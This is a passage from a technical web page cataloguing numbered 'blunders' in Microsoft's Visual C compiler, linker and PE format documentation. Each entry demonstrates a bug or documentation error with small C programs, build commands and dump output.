Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2001-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define NULL	(void *) 0
    
    extern	struct	_IMAGE_DOS_HEADER	__ImageBase;
    
    typedef	unsigned short	wchar_t;
    
    #ifndef BLUNDER
    #error
    #elif BLUNDER == 0 // DLL
    int	DllMain(void *module, int reason, void *context)
    {
    	return module != context, reason == 1;
    }
    #elif BLUNDER == 1 // DLL entry point function
    int	DllMain(void *module, int reason, void *context);
    
    int	_DllMainCRTStartup(void *module, int reason, void *context)
    {
    	return DllMain(module, reason, context);
    }
    #elif BLUNDER == 2 // ANSI console program
    int	main(int argc, char *argv[], char *envp[])
    {
    	return *envp != argv[argc];
    }
    #elif BLUNDER == 3 // ANSI console program entry point function
    int	__cdecl	main(int argc, char *argv[], char *envp[]);
    
    static	char	*argv[] = {"main.exe", "/?", NULL};
    static	char	*envp[] = {"name=value", NULL};
    
    int	mainCRTStartup(void)
    {
    	return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
    }
    #elif BLUNDER == 4 // UNICODE console program
    int	wmain(int argc, wchar_t *argv[], wchar_t *envp[])
    {
    	return *envp != argv[argc];
    }
    #elif BLUNDER == 5 // UNICODE console program entry point function
    int	__cdecl	wmain(int argc, wchar_t *argv[], wchar_t *envp[]);
    
    static	wchar_t	*argv[] = {L"wmain.exe", L"/?", NULL};
    static	wchar_t	*envp[] = {L"name=value", NULL};
    
    int	wmainCRTStartup(void)
    {
    	return wmain(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
    }
    #elif BLUNDER == 6 // ANSI Windows program
    int	WinMain(void *current, void *previous, char cmdline[], int show)
    {
    	return current != previous, *cmdline != show;
    }
    #elif BLUNDER == 7 // ANSI Windows program entry point function
    int	WinMain(void *current, void *previous, char cmdline[], int show);
    
    int	WinMainCRTStartup(void)
    {
    	return WinMain(&__ImageBase, NULL, "/?", 0);
    }
    #elif BLUNDER == 8 // UNICODE Windows program
    int	wWinMain(void *current, void *previous, wchar_t cmdline[], int show)
    {
    	return current != previous, *cmdline != show;
    }
    #elif BLUNDER == 9 // UNICODE Windows program entry point function
    int	wWinMain(void *current, void *previous, wchar_t cmdline[], int show);
    
    int	wWinMainCRTStartup(void)
    {
    	return wWinMain(&__ImageBase, NULL, L"/?", 0);
    }
    #else
    #error
    #endif // BLUNDER
  2. Start the command prompt of the Visual C development environment for the i386 platform, then execute the following 7 command lines to compile the source file blunder.c created in step 1. to generate the 5 object files dllmain.obj, main.obj, wmain.obj, winmain.obj plus wwinmain.obj with the entry point functions and put them into the new object library libcmt.lib:

    SET CL=/c /Gyz /Oxy /W4 /X /Zl
    CL.EXE /DBLUNDER=1 /Fodllmain.obj blunder.c
    CL.EXE /DBLUNDER=3 /Fomain.obj blunder.c
    CL.EXE /DBLUNDER=5 /Fowmain.obj blunder.c
    CL.EXE /DBLUNDER=7 /Fowinmain.obj blunder.c
    CL.EXE /DBLUNDER=9 /Fowwinmain.obj blunder.c
    LINK.EXE /LIB /MACHINE:I386 /NODEFAULTLIB /OUT:libcmt.lib dllmain.obj main.obj wmain.obj winmain.obj wwinmain.obj
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Library Manager Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  3. Execute the following 7 command lines to compile the source file blunder.c created in step 1. 5 times and (try to) link each generated object file blunder.obj with the entry point functions from the object library libcmt.lib generated in step 2.:

    SET CL=/Gy /MT /Oxy /W4 /X
    SET LINK=/MACHINE:I386
    CL.EXE /DBLUNDER=0 /Gz /LD blunder.c
    CL.EXE /DBLUNDER=2 /Gd blunder.c
    CL.EXE /DBLUNDER=4 /Gd blunder.c
    CL.EXE /DBLUNDER=6 /Gz blunder.c
    CL.EXE /DBLUNDER=8 /Gz blunder.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    /out:blunder.dll
    /dll
    /implib:blunder.lib
    blunder.obj
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    /out:blunder.exe
    blunder.obj
    LINK : error LNK2001: unresolved external symbol _mainCRTStartup
    blunder.exe : fatal error LNK1120: 1 unresolved externals
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    /out:blunder.exe
    blunder.obj
    LINK : error LNK2001: unresolved external symbol _wmainCRTStartup
    blunder.exe : fatal error LNK1120: 1 unresolved externals
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    /out:blunder.exe
    blunder.obj
    LINK : error LNK2001: unresolved external symbol _WinMainCRTStartup
    blunder.exe : fatal error LNK1120: 1 unresolved externals
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    /out:blunder.exe
    blunder.obj
    LINK : error LNK2001: unresolved external symbol _wWinMainCRTStartup
    blunder.exe : fatal error LNK1120: 1 unresolved externals
    OUCH: contrary to the documentation cited above, the linker expects the entry point functions for console as well as Windows applications to be defined using the __cdecl calling and naming convention!

Blunder № 68

Demonstration

Perform the following 5 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    static	long	bss;
    static	long	data = 'DATA';
    const	long	rdata = 'VOID';
    
    long	mainCRTStartup(void)
    {
    	return bss = data = rdata;
    }
  2. Compile the source file blunder.c created in step 1. to generate the object file blunder.obj, then enumerate the names and sizes of its COFF sections:

    CL.EXE /c /W4 /X /Zl blunder.c
    LINK.EXE /DUMP blunder.obj
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.obj
    
    File Type: COFF OBJECT
    
      Summary
    
               4 .bss
               4 .data
              74 .debug$S
               3 .drectve
               4 .rdata
              20 .text
    Note: the Visual C compiler puts uninitialised static variables in the .bss section, initialised static variables in the .data section, and constants in the .rdata section.
  3. Link the object file blunder.obj created in step 1. to generate the executable image file blunder.exe using the undocumented /TEST linker option to print some informative messages, then enumerate its sections:

    LINK.EXE /LINK /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj
    LINK.EXE /DUMP blunder.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    File Type: EXECUTABLE IMAGE
    
      Summary
    
            1000 .data
            1000 .rdata
            1000 .reloc
            1000 .text
    Oops: the linker merges the .bss section into the .data section, but fails to print the corresponding message despite their different characteristics – 0xC0000080 alias uninitialised data, readable, writable versus 0xC0000040 alias initialised data, readable, writable!
  4. Link the object file blunder.obj created in step 1. a second time to generate the executable image file blunder.exe, now merging the .bss section into the .blunder section, the .sdata section into the .static section and the .xdata section into the .xcept section, again using the undocumented /TEST linker option to print some informative messages, then enumerate its headers and give the 3 sections their original names back:

    LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /MERGE:.bss=.blunder /MERGE:.sdata=.static /MERGE:.xdata=.xcept /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj
    LINK.EXE /DUMP /HEADERS blunder.exe
    LINK.EXE /EDIT /SECTION:.blunder=.bss /SECTION:.static=.sdata /SECTION:.xcept=.xdata blunder.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080)
    LINK : section '.sdata' (C0000040) merged into '.static' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.xcept' (40000040)
    LINK : warning LNK4253: section '.sdata' not merged into '.data';  already merged into '.static'
    LINK : warning LNK4253: section '.xdata' not merged into '.rdata';  already merged into '.xcept'
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    PE signature found
    
    File Type: EXECUTABLE IMAGE
    
    FILE HEADER VALUES
                 14C machine (x86)
                   5 number of sections
            FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
                   0 file pointer to symbol table
                   0 number of symbols
                  E0 size of optional header
                 102 characteristics
                       Executable
                       32 bit word machine
    
    OPTIONAL HEADER VALUES
                 10B magic # (PE32)
               10.00 linker version
                 200 size of code
                 600 size of initialized data
                 200 size of uninitialized data
                1000 entry point (00401000)
                1000 base of code
                2000 base of data
              400000 image base (00400000 to 00405FFF)
                1000 section alignment
                 200 file alignment
                5.01 operating system version
                0.00 image version
                5.01 subsystem version
                   0 Win32 version
                6000 size of image
                 400 size of headers
                   0 checksum
                   3 subsystem (Windows CUI)
                8540 DLL characteristics
                       Dynamic base
                       NX compatible
                       No structured exception handler
                       Terminal Server Aware
              100000 size of stack reserve
                1000 size of stack commit
              100000 size of heap reserve
                1000 size of heap commit
                   0 loader flags
                  10 number of directories
                   0 [       0] RVA [size] of Export Directory
                   0 [       0] RVA [size] of Import Directory
                   0 [       0] RVA [size] of Resource Directory
                   0 [       0] RVA [size] of Exception Directory
                   0 [       0] RVA [size] of Certificates Directory
                5000 [      14] RVA [size] of Base Relocation Directory
                   0 [       0] RVA [size] of Debug Directory
                   0 [       0] RVA [size] of Architecture Directory
                   0 [       0] RVA [size] of Global Pointer Directory
                   0 [       0] RVA [size] of Thread Storage Directory
                   0 [       0] RVA [size] of Load Configuration Directory
                   0 [       0] RVA [size] of Bound Import Directory
                   0 [       0] RVA [size] of Import Address Table Directory
                   0 [       0] RVA [size] of Delay Import Directory
                   0 [       0] RVA [size] of COM Descriptor Directory
                   0 [       0] RVA [size] of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
          20 virtual size
        1000 virtual address (00401000 to 0040101F)
         200 size of raw data
         400 file pointer to raw data (00000400 to 000005FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             Execute Read
    
    SECTION HEADER #2
    .blunder name
           4 virtual size
        2000 virtual address (00402000 to 00402003)
           0 size of raw data
           0 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000080 flags
             Uninitialized Data
             Read Write
    
    SECTION HEADER #3
      .rdata name
           4 virtual size
        3000 virtual address (00403000 to 00403003)
         200 size of raw data
         600 file pointer to raw data (00000600 to 000007FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             Read Only
    
    SECTION HEADER #4
       .data name
           4 virtual size
        4000 virtual address (00404000 to 00404003)
         200 size of raw data
         800 file pointer to raw data (00000800 to 000009FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             Read Write
    
    SECTION HEADER #5
      .reloc name
          32 virtual size
        5000 virtual address (00405000 to 00405031)
         200 size of raw data
         A00 file pointer to raw data (00000A00 to 00000BFF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             Read Only
    
      Summary
    
            1000 .blunder
            1000 .data
            1000 .rdata
            1000 .reloc
            1000 .text
    
    Microsoft (R) COFF/PE Editor Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    blunder.exe : warning LNK4039: section '.xcept' specified with /SECTION option does not exist
    blunder.exe : warning LNK4039: section '.static' specified with /SECTION option does not exist
    Oops: the linker places the (writable) .bss alias .blunder section not last, i.e. not after the also writable .data section, but between the read-only .text and .rdata sections!

    OOPS: the linker prints bogus informational messages and even warnings LNK4253 for sections which exist neither in its input files nor the output file!

  5. Link the object file blunder.obj created in step 1. a third time to generate the executable image file blunder.exe, again merging the .bss section into the .blunder section, now using the undocumented /LAST linker option, then enumerate its headers:

    LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /LAST:.blunder /MERGE:.bss=.blunder /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj
    LINK.EXE /DUMP /HEADERS blunder.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080)
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    PE signature found
    
    File Type: EXECUTABLE IMAGE
    
    FILE HEADER VALUES
                 14C machine (x86)
                   5 number of sections
            FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
                   0 file pointer to symbol table
                   0 number of symbols
                  E0 size of optional header
                 102 characteristics
                       Executable
                       32 bit word machine
    
    OPTIONAL HEADER VALUES
                 10B magic # (PE32)
               10.00 linker version
                 200 size of code
                 600 size of initialized data
                 200 size of uninitialized data
                1000 entry point (00401000)
                1000 base of code
                2000 base of data
              400000 image base (00400000 to 00405FFF)
                1000 section alignment
                 200 file alignment
                5.01 operating system version
                0.00 image version
                5.01 subsystem version
                   0 Win32 version
                6000 size of image
                 400 size of headers
                   0 checksum
                   3 subsystem (Windows CUI)
                8540 DLL characteristics
                       Dynamic base
                       NX compatible
                       No structured exception handler
                       Terminal Server Aware
              100000 size of stack reserve
                1000 size of stack commit
              100000 size of heap reserve
                1000 size of heap commit
                   0 loader flags
                  10 number of directories
                   0 [       0] RVA [size] of Export Directory
                   0 [       0] RVA [size] of Import Directory
                   0 [       0] RVA [size] of Resource Directory
                   0 [       0] RVA [size] of Exception Directory
                   0 [       0] RVA [size] of Certificates Directory
                5000 [      14] RVA [size] of Base Relocation Directory
                   0 [       0] RVA [size] of Debug Directory
                   0 [       0] RVA [size] of Architecture Directory
                   0 [       0] RVA [size] of Global Pointer Directory
                   0 [       0] RVA [size] of Thread Storage Directory
                   0 [       0] RVA [size] of Load Configuration Directory
                   0 [       0] RVA [size] of Bound Import Directory
                   0 [       0] RVA [size] of Import Address Table Directory
                   0 [       0] RVA [size] of Delay Import Directory
                   0 [       0] RVA [size] of COM Descriptor Directory
                   0 [       0] RVA [size] of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
          20 virtual size
        1000 virtual address (00401000 to 0040101F)
         200 size of raw data
         400 file pointer to raw data (00000400 to 000005FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             Execute Read
    
    SECTION HEADER #2
      .rdata name
           4 virtual size
        2000 virtual address (00402000 to 00402003)
         200 size of raw data
         600 file pointer to raw data (00000600 to 000007FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             Read Only
    
    SECTION HEADER #3
       .data name
           4 virtual size
        3000 virtual address (00403000 to 00403003)
         200 size of raw data
         800 file pointer to raw data (00000800 to 000009FF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             Read Write
    
    SECTION HEADER #4
    .blunder name
           4 virtual size
        4000 virtual address (00404000 to 00404003)
           0 size of raw data
           0 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000080 flags
             Uninitialized Data
             Read Write
    
    SECTION HEADER #5
      .reloc name
          32 virtual size
        5000 virtual address (00405000 to 00405031)
         200 size of raw data
         A00 file pointer to raw data (00000A00 to 00000BFF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             Read Only
    
      Summary
    
            1000 .blunder
            1000 .data
            1000 .rdata
            1000 .reloc
            1000 .text
    Note: the undocumented /LAST:‹section› linker option places the specified section last, after the .text, .rdata and .data sections created by the Visual C compiler, but before the .reloc section generated by the linker.

Blunder № 69

Demonstration

Perform the following 4 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    VOID	mainCRTStartup(VOID)
    {
    	ExitProcess('VOID');
    }
  2. Compile the source file blunder.c created in step 1. to generate the object file blunder.obj, then enumerate the names and sizes of its COFF sections:

    CL.EXE /c /W4 /Zl blunder.c
    LINK.EXE /DUMP blunder.obj
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.obj
    
    File Type: COFF OBJECT
    
      Summary
    
              74 .debug$S
               3 .drectve
              10 .text
  3. LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib
    LINK.EXE /DUMP /IMPORTS blunder.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : warning LNK4216: Exported entry point _mainCRTStartup
       Creating library blunder.lib and object blunder.exp
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    File Type: EXECUTABLE IMAGE
    
      Section contains the following imports:
    
        KERNEL32.dll
                    402000 Import Address Table
                    402030 Import Name Table
                         0 time date stamp
                         0 Index of first forwarder reference
    
                      119 ExitProcess
    
      Summary
    
            1000 .rdata
            1000 .reloc
            1000 .text
    Oops: the linker fails to print informative messages that it merges the .edata and .idata sections generated by itself into the .rdata section!
  4. LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /NOOPTIDATA /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib
    LINK.EXE /DUMP /IMPORTS blunder.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : warning LNK4216: Exported entry point _mainCRTStartup
       Creating library blunder.lib and object blunder.exp
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    File Type: EXECUTABLE IMAGE
    
      Section contains the following imports:
    
        KERNEL32.dll
                    403030 Import Address Table
                    403028 Import Name Table
                         0 time date stamp
                         0 Index of first forwarder reference
    
                      119 ExitProcess
    
      Summary
    
            1000 .idata
            1000 .rdata
            1000 .reloc
            1000 .text
    Note: with the undocumented /NOOPTIDATA linker option the .idata section is not merged into the .rdata section!

    Note: there exists but no corresponding /NOOPTEDATA linker option to disable merging of the .edata section into the .rdata section – use the /MERGE:.edata=.export linker option to generate a separate .export section for the Export Directory instead.

Blunder № 70

Demonstration

Perform the following 4 (plus 1 optional) simple steps to show a quirk and a bug in the Microsoft® Incremental Linker Link.exe.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2001-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    int	main(void)
    {}
  2. Compile and link the source file blunder.c created in step 1. using the undocumented /ALTERNATENAME:‹alternate name›=‹existing name› linker option:

    SET CL=/W4 /X /Zl
    SET LINK=/ALTERNATENAME:_wmainCRTStartup=_main /BREPRO /FIXED /MANIFEST /MAP /NODEFAULTLIB /RELEASE
    CL.EXE blunder.c
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ALTERNATENAME:_mainCRTStartup=_main /BREPRO /FIXED /MAP /MANIFEST /NODEFAULTLIB /RELEASE
    /out:blunder.exe
    blunder.obj
  3. Display the application manifest blunder.exe.manifest created in step 2. to show the quirk:

    TYPE blunder.exe.manifest
    <?xml version='1.0' encoding='UTF-8' standalone='yes'?>
    <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
      <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
        <security>
          <requestedPrivileges>
            <requestedExecutionLevel level='asInvoker' uiAccess='false' />
          </requestedPrivileges>
        </security>
      </trustInfo>
    </assembly>
    Oops: I suppose there must be a really compelling reason to mix single and double quotes in the generated manifest!
  4. Display the linker map file blunder.map and the headers of the console application blunder.exe built in step 2. to show the bug:

    TYPE blunder.map
    LINK.EXE /DUMP /HEADERS blunder.exe
     blunder
    
     Timestamp is ffffffff (Sun Feb 07 07:28:15 2106)
    
     Preferred load address is 00400000
    
     Start         Length     Name                   Class
     0001:00000000 00000007H .text                   CODE
    
      Address         Publics by Value              Rva+Base       Lib:Object
    
     0000:00000000       ___safe_se_handler_count   00000000     <absolute>
     0000:00000000       ___safe_se_handler_table   00000000     <absolute>
     0001:00000000       _mainCRTStartup            00401000 f   blunder.obj
     0001:00000000       _main                      00401000 f   blunder.obj
    
     entry point at        0001:00000000
    
     Static symbols
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file blunder.exe
    
    PE signature found
    
    File Type: EXECUTABLE IMAGE
    
    FILE HEADER VALUES
                 14C machine (x86)
                   1 number of sections
            FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
                   0 file pointer to symbol table
                   0 number of symbols
                  E0 size of optional header
                 103 characteristics
                       Relocations stripped
                       Executable
                       32 bit word machine
    
    OPTIONAL HEADER VALUES
                 10B magic # (PE32)
               10.00 linker version
                 200 size of code
                   0 size of initialized data
                   0 size of uninitialized data
                   8 entry point (00400008)
                1000 base of code
                2000 base of data
              400000 image base (00400000 to 00401FFF)
    […]
    OUCH: while the linker map shows the entry point as expected at the address 0x00401000 of the main() function, the header dump shows it but inside the non-executable DOS header, i.e. the console application blunder.exe will crash upon start with an execute access violation!
  5. (Optional) If you have the Debugging Tools for Windows installed, execute the console application blunder.exe built in step 2. under the debugger:

    CDB.EXE /C g;q /G /g .\blunder.exe
    Note: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
    Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    CommandLine: .\blunder.exe
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00400000 00402000   image00400000
    ModLoad: 779c0000 77b40000   ntdll.dll
    ModLoad: 75610000 75720000   C:\Windows\syswow64\kernel32.dll
    ModLoad: 752d0000 75317000   C:\Windows\syswow64\KERNELBASE.dll
    ModLoad: 75540000 755e1000   C:\Windows\syswow64\ADVAPI32.DLL
    ModLoad: 757a0000 7584c000   C:\Windows\syswow64\msvcrt.dll
    ModLoad: 77420000 77439000   C:\Windows\SysWOW64\sechost.dll
    ModLoad: 77300000 773f0000   C:\Windows\syswow64\RPCRT4.dll
    ModLoad: 750e0000 75140000   C:\Windows\syswow64\SspiCli.dll
    ModLoad: 750d0000 750dc000   C:\Windows\syswow64\CRYPTBASE.dll
    (a34.149c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=7562342b ebx=7efde000 ecx=00000000 edx=00400008 esi=00000000 edi=00000000
    eip=00400008 esp=000dff8c ebp=000dff94 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    *** ERROR: Module load completed but symbols could not be loaded for image00400000
    image00400000+0x8:
    00400008 0400            add     al,0
    0:000:x86> cdb: Reading initial command 'g;q'
    (a34.149c): Access violation - code c0000005 (!!! second chance !!!)
    quit:
Note: a repetition of this demonstration in the 64-bit development and execution environments is left as an exercise to the reader.

Blunder № 71

The specification of the PE Format states in its The Load Configuration Structure (Image Only) section:
The load configuration structure (IMAGE_LOAD_CONFIG_DIRECTORY) was formerly used in very limited cases in the Windows NT operating system itself to describe various features too difficult or too large to describe in the file header or optional header of the image. Current versions of the Microsoft linker and Windows XP and later versions of Windows use a new version of this structure for 32-bit x86-based systems that include reserved SEH technology.
[…]
The Microsoft linker automatically provides a default load configuration structure to include the reserved SEH data. If the user code already provides a load configuration structure, it must include the new reserved SEH fields. Otherwise, the linker cannot include the reserved SEH data and the image is not marked as containing reserved SEH.
OUCH¹: the highlighted statement of this documentation is but misleading and wrongLINK.exe neither provides an IMAGE_LOAD_CONFIG_DIRECTORY structure nor reports its omission with an error message!

The documentation for the /SAFESEH linker option provides the correct information:

If you link with /NODEFAULTLIB and you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:
#include <windows.h>
extern DWORD_PTR __security_cookie;  /* /GS security cookie */

/*
* The following two names are automatically created by the linker for any
* image that has the safe exception table present.
*/

extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */
extern BYTE  __safe_se_handler_count;  /* absolute symbol whose address is
                                           the count of table entries */

const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = {
    sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32),
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    &__security_cookie,
    __safe_se_handler_table,
    (DWORD)(DWORD_PTR) &__safe_se_handler_count
};
The specification of the PE Format continues with the following disinformation:
Load Configuration Layout

The load configuration structure has the following layout for 32-bit and 64-bit PE files:

Offset Size Field Description
0 4 Characteristics Flags that indicate attributes of the file, currently unused.
54/78 2 Reserved Must be zero.
OUCH²: the documentation for the IMAGE_LOAD_CONFIG_DIRECTORY structure but states that the field at offset 0 stores the size of the structure, and the field at offset 54 (for 32-bit images) or 78 (for 64-bit images) stores the /DEPENDENTLOADFLAG!

Blunder № 72

The specification of the PE Format states under the heading The .tls section:
The .tls section provides direct PE and COFF support for static thread local storage (TLS). […] a static TLS variable can be defined as follows, without using the Windows API:

__declspec (thread) int tlsFlag = 1;

To support this programming construct, the PE and COFF .tls section specifies the following information: initialization data, callback routines for per-thread initialization and termination, and the TLS index, which are explained in the following discussion.

Note

